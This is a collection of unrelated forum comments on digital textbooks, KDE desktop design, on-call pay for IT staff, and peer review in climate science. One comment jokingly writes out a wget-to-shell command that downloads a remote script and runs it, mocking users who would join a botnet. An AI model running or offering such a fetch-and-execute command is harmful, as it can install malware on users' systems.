Yes and no. I think you make a valid point, and yet the hybrid technology proposed in the article is an important step in the right direction. What I'm resistant to is the argument against moving in the direction of digital textbooks altogether in the absence of a perfect product. Color e-ink certainly sounds like a nice future, but in the meantime I think we need to get products in people's hands that start to turn the battleship. There will be a lot of infrastructure and process required to convert the textbook market into a viable digital system. What are we waiting for?

The panel was the biggest issue by far, but the general 'exuberance' of the desktop environment put people off a bit. It even took me a while to figure out how to get the panel widgets back after they'd disappeared. It just didn't seem to want to do it and was amazingly frustrating. KDE apps like Dolphin, KPPP and others I have nothing by admiration for. Brilliant pieces of software. I used Dragonplayer myself on my Gnome desktop until I moved over to Mplayer (yes, command line. It's a bit old school, but it works so well.) The ideology behind the structure of KDE4 is very well thought through and quite impressive. The follow through leaves a bit to be desired though...

KDE3 was just too busy. To me it was like a manic depressive woman constantly on manic, or watching Bay Watch in fast motion, with everything bouncing around all the time. Personal preference there though. I found it just too distracting, too much going on. It'll be interesting to see how the crowd at KDE sort out this tabs idea. Hopefully the execution will be as good as the planning this time.

While full time and salaried I was the only IT personnel on staff and was effectively on call 24 / 7. Fortunately the staff of ~65 only needed me on a rare occasion, which I took non-monetary compensation in the form of vacation hours equal to the time I spent fixing problems during non office hours. It worked for us in that situation.

At my current job I've somehow regressed to hourly full time and do on call in shifts. Here I record the time I spend working while on call after business hours and include it on my time sheet. I either let it be overtime (x1.5) or just leave early on Friday. This works for my current employer.

During a very short lived contract position my employer arranged service contracts with his clients and I got a share of the contracts for the clients I was "on call" for.I guess you could call it a retainer fee.

It's very situation dependent.

Would you be so kind as to open a terminal window mr user and run this for me so that you can join
my cool bot net.

wget www.somewhere.com/somefile.sh -O - | sh

Oh no what will the community do, I may have just released a very serious malware exploit vector.

I actually did a PhD in physics in an unrelated area. However, one does learn a few things. For example that a PhD is not a license to state that you are right. Appealing to authority is just about as anti-science as you can get.

"You have not published a paper in a peer reviewed journal" is not a valid argument.

Peer reviewing is there to help with weeding out as much BS as possible. However, good insights can come from anyone.

Finally, what you do hone as an Engineering student and a PhD is your BS detector, and that is all that it takes to make a valid contribution. All of these sites are criticizing what others have done. Of course, that is a lot easier than publishing original new work. However, getting proof that something isn't correct is also a worthwhile contribution. One single falsification (go and read your Popper) is all that it takes to invalidate a theory.

Steve McIntyre actually tried to go much further than this. He wanted to review the data and reanalyse it. Had he been allowed to do so, and actually reproduced the results, that would have been as scientific a contribution as I can think of.

Unfortunately, he was refused access to said data.